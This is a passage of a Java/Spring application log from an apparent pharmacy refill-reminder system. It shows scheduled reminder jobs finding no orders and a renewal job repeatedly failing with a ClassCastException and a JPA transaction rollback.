com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 